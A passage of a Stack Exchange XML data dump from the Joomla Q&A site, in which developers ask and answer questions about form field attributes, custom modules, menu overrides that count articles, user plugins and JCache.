  <row Id="5116" PostTypeId="2" ParentId="5115" CreationDate="2014-11-07T20:18:18.587" Score="4" Body="&lt;p&gt;You could try inserting the HTML that is generated from the &lt;code&gt;mod_search&lt;/code&gt; module directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php&quot; method=&quot;post&quot; class=&quot;form-inline&quot; _lpchecked=&quot;1&quot;&amp;gt;&#xA;     &amp;lt;input name=&quot;searchword&quot; id=&quot;mod-search-searchword&quot; maxlength=&quot;20&quot; class=&quot;inputbox search-query&quot; type=&quot;text&quot; size=&quot;20&quot; value=&quot;Search...&quot; onblur=&quot;if (this.value=='') this.value='Search...';&quot; onfocus=&quot;if (this.value=='Search...') this.value='';&quot;&amp;gt;       &#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;search&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_search&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;Itemid&quot; value=&quot;101&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not the most elegant way to do it, but it should work, and it's the most lightweight solution I can think of.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-07T20:18:18.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5117" PostTypeId="1" AcceptedAnswerId="5118" CreationDate="2014-11-07T21:45:23.717" Score="9" ViewCount="1666" Body="&lt;p&gt;We have a particular field that can only allow input when adding the record for the first time, so I'm wondering if it is possible to add a class, or specify &lt;code&gt;readonly&lt;/code&gt; at some point after the form has been loaded, but (of course), before it is rendered to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When loading a form from &lt;code&gt;models\forms\myform.xml&lt;/code&gt;, attributes like class(es) and readonly are being loaded as expected.  Here's the way that the field is currently being rendered, which uses libraries\joomla\form\form.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;getInput('myReadOnlyCode')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-08T10:35:31.460" Title="How can I override the class or readonly attribute that is specified in the form xml?" Tags="|development|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5118" PostTypeId="2" ParentId="5117" CreationDate="2014-11-08T00:14:16.777" Score="3" Body="&lt;p&gt;Yes you can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a component that has a concept of &quot;Plans&quot;, it uses the same view for different access levels, but makes the fields accessible or not depending on the users groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for those uses that can &quot;Run&quot; a plan but not edit it, we turn &quot;off&quot; a bunch of fields. Depending on the field type this may mean setting several field attributes, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute('name', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('name', 'readonly', 'true');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('description', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('description', 'disabled', 'true');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('description', 'type', 'text');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('published', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('published', 'readonly', 'true');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_up', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_up', 'readonly', 'true');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_up', 'format', '%Y-%m-%d %H:%M:%S');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_up', 'filter', 'user_utc');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_down', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_down', 'readonly', 'true');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_down', 'format', '%Y-%m-%d %H:%M:%S');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('publish_down', 'filter', 'user_utc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, depending on what your &lt;code&gt;myReadOnlyCode&lt;/code&gt; field is you can do it by setting one or more of the attributes as shown above, e.g. if it's just a standard text input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;setFieldAttribute('myReadOnlyCode', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('myReadOnlyCode', 'readonly', 'true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-11-08T00:14:16.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5119" PostTypeId="1" CreationDate="2014-11-08T06:50:14.743" Score="1" ViewCount="208" Body="&lt;p&gt;I just made a 'custom html' module in my J3 website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a custom Mail Chimp subscription form using Twitter Bootstrap 3 (linked in module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is the exact code from my module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- Begin MailChimp Signup Form --&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css&quot;&amp;gt;&#xA;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;    .bs-example{&#xA;        margin: 20px;&#xA;color:black;&#xA;text-align:center;&#xA;    }&#xA;&#xA;    /* Add your own MailChimp form style overrides in your site stylesheet or in this style block.&#xA;       We recommend moving this block and the preceding CSS link to the HEAD of your HTML file. */&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;div class=&quot;bs-example&quot;&amp;gt;&#xA;    &amp;lt;form class=&quot;form-inline&quot; role=&quot;form&quot; action=&quot;//get2gethersports.us9.list-manage.com/subscribe/post?u=7c0d513e0a7edb9e73598c3d8&amp;amp;amp;id=dac19d65a1&quot; method=&quot;post&quot; id=&quot;mc-embedded-subscribe-form&quot; name=&quot;mc-embedded-subscribe-form&quot; class=&quot;validate&quot; target=&quot;_blank&quot; novalidate&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Join our mailing list!&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p style=&quot;font-size:15px;&quot;&amp;gt;Sign up with your email address to receive the latest news and updates from get2gether|sports&amp;lt;/p&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;sr-only&quot; for=&quot;mce-EMAIL&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;email&quot; class=&quot;form-control&quot; id=&quot;mce-EMAIL&quot; placeholder=&quot;Email&quot; name=&quot;EMAIL&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;sr-only&quot; for=&quot;mce-FNAME&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;mce-FNAME&quot; placeholder=&quot;First Name&quot; name=&quot;FNAME&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;sr-only&quot; for=&quot;mce-LNAME&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;mce-LNAME&quot; placeholder=&quot;Last Name&quot; name=&quot;LNAME&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Subscirbe&amp;lt;/button&amp;gt;&#xA;&amp;lt;p style=&quot;font-size:12px;&quot;&amp;gt;We respect your privacy.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My website is &lt;a href=&quot;http://get2gethersports.com&quot; rel=&quot;nofollow&quot;&gt;http://get2gethersports.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after adding the the code which looks spot on my menu disappeared...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why? Maybe something with the linked bootstrap? Any solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time in advance!&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2014-11-08T14:47:58.810" Title="Added module with Twitter-Bootstap 3 and now my menu disappeared." Tags="|module|joomla-3.3.x|twitter-bootstrap-3|" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-11T19:49:06.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="5121" PostTypeId="2" ParentId="5117" CreationDate="2014-11-08T10:35:31.460" Score="2" Body="&lt;p&gt;Compare the Joomla core article edit. Administrator - article.php - method getForm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware of the filter to prevent &quot;backdoor&quot; update.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $user = JFactory::getUser();&#xA;&#xA;    // Check for existing article.&#xA;    // Modify the form based on Edit State access controls.&#xA;    if ($id != 0 &amp;amp;&amp;amp; (!$user-&amp;gt;authorise('core.edit.state', 'com_content.article.' . (int) $id))&#xA;        || ($id == 0 &amp;amp;&amp;amp; !$user-&amp;gt;authorise('core.edit.state', 'com_content'))&#xA;    )&#xA;    {&#xA;        // Disable fields for display.&#xA;        $form-&amp;gt;setFieldAttribute('featured', 'disabled', 'true');&#xA;        $form-&amp;gt;setFieldAttribute('ordering', 'disabled', 'true');&#xA;        $form-&amp;gt;setFieldAttribute('publish_up', 'disabled', 'true');&#xA;        $form-&amp;gt;setFieldAttribute('publish_down', 'disabled', 'true');&#xA;        $form-&amp;gt;setFieldAttribute('state', 'disabled', 'true');&#xA;&#xA;        // Disable fields while saving.&#xA;        // The controller has already verified this is an article you can edit.&#xA;         $form-&amp;gt;setFieldAttribute('featured', 'filter', 'unset');&#xA;        $form-&amp;gt;setFieldAttribute('ordering', 'filter', 'unset');&#xA;         $form-&amp;gt;setFieldAttribute('publish_up', 'filter', 'unset');&#xA;         $form-&amp;gt;setFieldAttribute('publish_down', 'filter', 'unset');&#xA;         $form-&amp;gt;setFieldAttribute('state', 'filter', 'unset');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-11-08T10:35:31.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5122" PostTypeId="1" AcceptedAnswerId="5123" CreationDate="2014-11-08T11:08:28.740" Score="2" ViewCount="1477" Body="&lt;p&gt;I need to add some functianality to Joomla's editor. The idea is to add a button to the editor to add a gallery's HTML code. But it seems that I can't change the editor after init.&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2014-11-08T11:21:43.540" Title="How to add button to TinyMCE after init" Tags="|component|tinymce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5123" PostTypeId="2" ParentId="5122" CreationDate="2014-11-08T11:21:43.540" Score="3" Body="&lt;p&gt;I'll make this an answer so I can explain a little better at ease.&lt;/p&gt;&#xA;&lt;p&gt;Ok so I'm not sure if this is a feature you want to make available to the public or if it's purely for your own benefit, but I would personally approach this a different way. The only efficient way to do this without editing a core Joomla file is to develop a plugin.&lt;/p&gt;&#xA;&lt;p&gt;So you have 2 choices here.&lt;/p&gt;&#xA;&lt;h1&gt;1:&lt;/h1&gt;&#xA;&lt;p&gt;Develop a plugin that allows you to use short code such as &lt;code&gt;{gallery}{/gallery}&lt;/code&gt;, which then automatically generates the HTML for you using a &lt;code&gt;preg_replace&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;2:&lt;/h1&gt;&#xA;&lt;p&gt;Develop a plugin that adds a button &lt;strong&gt;below&lt;/strong&gt; the editor (such as the &amp;quot;read more&amp;quot; button). The good thing about this is &lt;strong&gt;if&lt;/strong&gt; you do make this available to the public, then it will work for all editors as you can't be sure that all users will be using the default TinyMCE editor, in which case you button will not appear. You can have a look at:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;plugins / editors-xtd / readmore&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To see how something like this can be done.&lt;/p&gt;&#xA;&lt;p&gt;So I've provided you with with the 2 most efficient methods to achieve this. I now suggest you have a read through the Joomla Documentation on Plugin development:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Portal:Plugin_Development&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you have any coding related issues when developing it, feel free to ask.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-08T11:21:43.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5124" PostTypeId="1" CreationDate="2014-11-08T12:32:57.993" Score="-1" ViewCount="237" Body="&lt;p&gt;i modified blog_item.php to display fulltext in category blog layout. Works fine, but the content plugins are not rendered. They are rendered fine in introtext. Can anyone help me with the right code to be able to render the content plugins in fulltext?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// using this code to display fulltext&#xA;$itemID =  $this-&amp;gt;item-&amp;gt;id;&#xA;$db =&amp;amp; JFactory::getDBO();&#xA;$query = &quot;&#xA;SELECT `fulltext` &#xA;FROM `#__content` &#xA;WHERE `id` = $itemID;&#xA;&quot;;&#xA;$db-&amp;gt;setQuery($query);&#xA;$fulltext = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have found this piece of code to render the content plugins, but can't get it to work with fulltext:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JDispatcher::getInstance();&#xA;PluginHelper::importPlugin('content');&#xA;$results = $dispatcher-&amp;gt;trigger('onContentPrepare', array ('com_content.category', &amp;amp;$item, &amp;amp;$this-&amp;gt;params, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2014-11-27T09:53:02.800" Title="Joomla 2.5 - fulltext in category blog layout" Tags="|joomla-2.5|plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5126" PostTypeId="1" AcceptedAnswerId="5131" CreationDate="2014-11-08T18:51:18.120" Score="3" ViewCount="1868" Body="&lt;p&gt;I want to display number of published articles in Joomla menu modules,&lt;br&gt;&#xA;like the below image but I can't.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me. Thanks&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YLslh.png&quot; alt=&quot;menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2160" LastEditorUserId="126" LastEditDate="2016-01-22T00:19:55.330" LastActivityDate="2016-01-22T00:19:55.330" Title="How to Show number of published articles?" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5127" PostTypeId="2" ParentId="5126" CreationDate="2014-11-09T02:11:05.890" Score="3" Body="&lt;p&gt;A quick Google search for &quot;get number of articles joomla&quot; gave me a &lt;a href=&quot;https://stackoverflow.com/questions/19227165/get-number-of-articles-from-a-specific-content-category-using-joomla-functions&quot;&gt;similar question&lt;/a&gt; from StackOverflow with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel');&#xA;$model-&amp;gt;setState('filter.category_id', 2); // Set category ID here&#xA;$articles = $model-&amp;gt;getItems();&#xA;&#xA;$num_articles = count($articles); // Returns the number of articles in category&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to create a PHP loop if you need to count articles in several categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-11-09T02:11:05.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5128" PostTypeId="1" CreationDate="2014-11-09T02:28:52.740" Score="1" ViewCount="2349" Body="&lt;p&gt;I've looked around quite a bit for a solution to this problem, but haven't found anything that works yet, nor anyone talking about it for Joomla 3. Most posts about this online are years old and for Joomla 2.5, and none of them actually offer a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that every time I save a menu item, it then produces a &quot;404 - Category not found&quot; screen, and the url changes from myurl.com/alias-here to myurl.com/Category/alias-here. This started happening after an upgrade from 2.5 to 3.3 (and the site is currently upgraded to the most recent version). The site was also upgraded from 1.5 about 2 years ago and worked fine for that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The temporary fix that a lot of people are doing, is doing a menu &quot;rebuild&quot; at the top of the menu manager. That does work, but it's not a good solution for website with lots of changes and additions being made daily, because every time you save one, you have to remember to click the build button. It seems like this might be a bug to submit??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone experience this and know a fix??? I don't get stumped often, but I'm really not sure about this one.&lt;/p&gt;&#xA;" OwnerDisplayName="user2161" LastActivityDate="2015-03-13T17:07:51.163" Title="Saving menus causes 404 category not found" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5129" PostTypeId="1" AcceptedAnswerId="5132" CreationDate="2014-11-09T04:50:41.480" Score="3" ViewCount="442" Body="&lt;p&gt;I have developed a custom component that store some user information in separate tables, I want to store/update user information when user deleted or updated from admin section or front end.&lt;/p&gt;&#xA;" OwnerUserId="495" LastActivityDate="2014-11-09T15:55:46.370" Title="What is best approach to update the user info in custom component user-info table?" Tags="|joomla-3.x|joomla-2.5|user|administrator|joomla-1.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5130" PostTypeId="1" AcceptedAnswerId="5134" CreationDate="2014-11-09T04:55:58.073" Score="5" ViewCount="3094" Body="&lt;p&gt;I have developed a custom component that displays some information. I want to show the same information in modal popup window without header and footer information. what should be best approach to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="495" LastActivityDate="2018-04-03T12:01:14.770" Title="What is best approach to show the component page in popup-modal window without header and footer?" Tags="|joomla-3.x|joomla-2.5|development|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5131" PostTypeId="2" ParentId="5126" CreationDate="2014-11-09T08:44:27.673" Score="8" Body="&lt;p&gt;You can achieve this by overriding menu module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let say your current template is protostar then create a file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;JOOMLA FOLDER&amp;gt;/templates/protostar/html/mod_menu/default_component.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add code like below (not optimized but it's working):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;if($item-&amp;gt;query['option']=='com_content' &amp;amp;&amp;amp; $item-&amp;gt;query['view']=='category')&#xA;{&#xA;    $catId=$item-&amp;gt;query['id'];&#xA;    $model = JModelLegacy::getInstance('Articles', 'ContentModel');&#xA;    $model-&amp;gt;setState('filter.category_id', $catId); &#xA;    $articles = $model-&amp;gt;getItems();&#xA;    $num_articles = count($articles);&#xA;    $item-&amp;gt;title='&amp;lt;span class=&quot;article-count&quot;&amp;gt;'.$num_articles.'&amp;lt;/span&amp;gt; '.$item-&amp;gt;title;&#xA;}&#xA;// Note. It is important to remove spaces between elements.&#xA;$class = $item-&amp;gt;anchor_css ? 'class=&quot;' . $item-&amp;gt;anchor_css . '&quot; ' : '';&#xA;$title = $item-&amp;gt;anchor_title ? 'title=&quot;' . $item-&amp;gt;anchor_title . '&quot; ' : '';&#xA;&#xA;if ($item-&amp;gt;menu_image)&#xA;{&#xA;    $item-&amp;gt;params-&amp;gt;get('menu_text', 1) ?&#xA;    $linktype = '&amp;lt;img src=&quot;' . $item-&amp;gt;menu_image . '&quot; alt=&quot;' . $item-&amp;gt;title . '&quot; /&amp;gt;&amp;lt;span class=&quot;image-title&quot;&amp;gt;' . $item-&amp;gt;title . '&amp;lt;/span&amp;gt; ' :&#xA;    $linktype = '&amp;lt;img src=&quot;' . $item-&amp;gt;menu_image . '&quot; alt=&quot;' . $item-&amp;gt;title . '&quot; /&amp;gt;';&#xA;}&#xA;else&#xA;{&#xA;    $linktype = $item-&amp;gt;title;&#xA;}&#xA;&#xA;switch ($item-&amp;gt;browserNav)&#xA;{&#xA;    default:&#xA;    case 0:&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&quot;&amp;lt;?php echo $item-&amp;gt;flink; ?&amp;gt;&quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;    case 1:&#xA;        // _blank&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&quot;&amp;lt;?php echo $item-&amp;gt;flink; ?&amp;gt;&quot; target=&quot;_blank&quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;    case 2:&#xA;    // Use JavaScript &quot;window.open&quot;&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&quot;&amp;lt;?php echo $item-&amp;gt;flink; ?&amp;gt;&quot; onclick=&quot;window.open(this.href,'targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes');return false;&quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;        break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2162" LastEditorUserId="22" LastEditDate="2014-11-10T06:21:48.630" LastActivityDate="2014-11-10T06:21:48.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5132" PostTypeId="2" ParentId="5129" CreationDate="2014-11-09T13:55:20.527" Score="6" Body="&lt;p&gt;You should save your data using a User Plugin - they're &lt;em&gt;very&lt;/em&gt; easy to write.  An example can be found at &lt;a href=&quot;http://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;noreferrer&quot;&gt;Creating a profile plugin&lt;/a&gt;, though the example might have more than you need.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events your code would go into are &lt;code&gt;onUserAfterSave&lt;/code&gt; and &lt;code&gt;onUserAfterDelete&lt;/code&gt; and are documented at &lt;a href=&quot;http://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;noreferrer&quot;&gt;Plugin/Events/User&lt;/a&gt;.  These events will fire when a user is saved or deleted in the admin or Front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guts of the plugin would be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;class PlgUserMyPlugin extends JPlugin&#xA;{&#xA;    protected $app;&#xA;    protected $db;&#xA;&#xA;    public function onUserAfterDelete($user, $success, $msg) {&#xA;        if (!$success) &#xA;            return false;&#xA;&#xA;        $query = $this-&amp;gt;db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;delete($this-&amp;gt;db-&amp;gt;quoteName('#__mytable'))&#xA;        -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('userid') . ' = ' . (int) $user['id']);&#xA;        $this-&amp;gt;db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;        return true;&#xA;    }&#xA;&#xA;    public function onUserAfterSave($user, $isnew, $success, $msg) {&#xA;        if (!$success) &#xA;            return false;&#xA;&#xA;        // Update your table here&#xA;        if ($isnew) {&#xA;            // New User&#xA;        }else{&#xA;            // Existing User&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-09T15:55:46.370" LastActivityDate="2014-11-09T15:55:46.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5133" PostTypeId="1" CreationDate="2014-11-09T14:14:29.590" Score="3" ViewCount="1646" Body="&lt;p&gt;Is it possible to use JCache to clear the cached data for a specific plugin or all plugins? I am using a plugin to display an image and text on a page and I have to clear the cache manually for any changes to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't find any examples of this in my Google searches or the official documentation.&lt;/p&gt;&#xA;" OwnerUserId="1707" LastActivityDate="2014-11-09T15:30:55.400" Title="Using JCache to clear a specific plugin's cached data" Tags="|joomla-2.5|plugin|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5134" PostTypeId="2" ParentId="5130" CreationDate="2014-11-09T14:21:13.397" Score="8" Body="&lt;p&gt;Haven't done this for awhile, but these steps should do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add &lt;code&gt;JHTML::_('behavior.modal');&lt;/code&gt; near the top of the view&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;class=&quot;modal&quot;&lt;/code&gt; to any links you want to open in a modal window&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;&amp;amp;tmpl=component&lt;/code&gt; the the link you want in a popup&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I answered, then deleted this because upon trying it with a J3.3 installation, I got some javascript errors, so I can't say for sure that it remains the right way of doing it or is an issue with our template.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-09T15:37:23.573" LastActivityDate="2014-11-09T15:37:23.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5135" PostTypeId="2" ParentId="5133" CreationDate="2014-11-09T15:18:07.737" Score="5" Body="&lt;p&gt;Without knowing which plugin(s) you're concerned with, here's some code that would get, set and clear a cache for a given item.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = '';&#xA;$cache = JFactory::getCache('com_something', '');&#xA;$cache-&amp;gt;setCaching(true);&#xA;$cache-&amp;gt;setLifeTime(86400);&#xA;&#xA;// See All cached items&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;.print_r($cache-&amp;gt;getAll(), true).&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;// Create a Cache ID that works for you :&#xA;$cacheid = md5('something'.JFactory::getUser()-&amp;gt;id);  // Just an example&#xA;&#xA;// Remove cached output&#xA;//$cache-&amp;gt;remove($cacheid);&#xA;&#xA;// Get cached output&#xA;$output = $cache-&amp;gt;get($cacheid);&#xA;if (empty($output)) {&#xA;    $output = &quot;something I want to cache&quot;;&#xA;    $cache-&amp;gt;store($output, $cacheid);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the docs at &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JCache.html&quot;&gt;JCache&lt;/a&gt;, and echoing the current catched items with $cache-&gt;getAll() will look something like this to identify which item(s) you're interested in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [com_something] =&amp;gt; JCacheStorageHelper Object&#xA;        (&#xA;            [group] =&amp;gt; com_something&#xA;            [size] =&amp;gt; 0.09&#xA;            [count] =&amp;gt; 2&#xA;        )&#xA;&#xA;    [Gantry] =&amp;gt; JCacheStorageHelper Object&#xA;    